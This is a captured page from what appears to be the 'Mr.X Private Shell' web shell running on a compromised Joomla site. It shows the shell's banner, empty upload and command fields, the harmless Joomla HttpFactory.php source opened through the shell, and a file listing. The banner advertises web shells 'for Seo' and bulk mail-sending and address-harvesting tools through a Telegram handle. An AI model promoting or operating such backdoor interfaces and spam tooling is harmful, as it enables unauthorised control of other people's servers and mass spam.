__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Http Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Http;

/**
 * HTTP factory class.
 *
 * @since  1.0
 */
class HttpFactory
{
    /**
     * Method to create an Http instance.
     *
     * @param   array|\ArrayAccess  $options   Client options array.
     * @param   array|string        $adapters  Adapter (string) or queue of adapters (array) to use for communication.
     *
     * @return  Http
     *
     * @since   1.0
     * @throws  \InvalidArgumentException
     * @throws  \RuntimeException
     */
    public function getHttp($options = [], $adapters = null)
    {
        if (!\is_array($options) && !($options instanceof \ArrayAccess)) {
            throw new \InvalidArgumentException(
                'The options param must be an array or implement the ArrayAccess interface.'
            );
        }

        if (!$driver = $this->getAvailableDriver($options, $adapters)) {
            throw new \RuntimeException('No transport driver available.');
        }

        return new Http($options, $driver);
    }

    /**
     * Finds an available TransportInterface object for communication
     *
     * @param   array|\ArrayAccess  $options  Options for creating TransportInterface object
     * @param   array|string        $default  Adapter (string) or queue of adapters (array) to use
     *
     * @return  TransportInterface|boolean  Interface sub-class or boolean false if no adapters are available
     *
     * @since   1.0
     * @throws  \InvalidArgumentException
     */
    public function getAvailableDriver($options = [], $default = null)
    {
        if (!\is_array($options) && !($options instanceof \ArrayAccess)) {
            throw new \InvalidArgumentException(
                'The options param must be an array or implement the ArrayAccess interface.'
            );
        }

        if ($default === null) {
            $availableAdapters = $this->getHttpTransports();
        } else {
            settype($default, 'array');
            $availableAdapters = $default;
        }

        // Check if there is at least one available http transport adapter
        if (!\count($availableAdapters)) {
            return false;
        }

        foreach ($availableAdapters as $adapter) {
            $class = __NAMESPACE__ . '\\Transport\\' . ucfirst($adapter);

            if (class_exists($class)) {
                if ($class::isSupported()) {
                    return new $class($options);
                }
            }
        }

        return false;
    }

    /**
     * Get the HTTP transport handlers
     *
     * @return  string[]  An array of available transport handler types
     *
     * @since   1.0
     */
    public function getHttpTransports()
    {
        $names    = [];
        $iterator = new \DirectoryIterator(__DIR__ . '/Transport');

        /** @var \DirectoryIterator $file */
        foreach ($iterator as $file) {
            $fileName = $file->getFilename();

            // Only load for php files.
            if ($file->isFile() && $file->getExtension() == 'php') {
                $names[] = substr($fileName, 0, strrpos($fileName, '.'));
            }
        }

        // Keep alphabetical order across all environments
        sort($names);

        // If curl is available set it to the first position
        $key = array_search('Curl', $names);

        if ($key) {
            unset($names[$key]);
            array_unshift($names, 'Curl');
        }

        return $names;
    }
}

Filemanager

Name Type Size Permission Actions
Exception Folder 0775
Transport Folder 0775
AbstractTransport.php File 2.3 KB 0664
Http.php File 10.07 KB 0664
HttpFactory.php File 3.59 KB 0664
Response.php File 1.58 KB 0664
TransportInterface.php File 1.38 KB 0664
Filemanager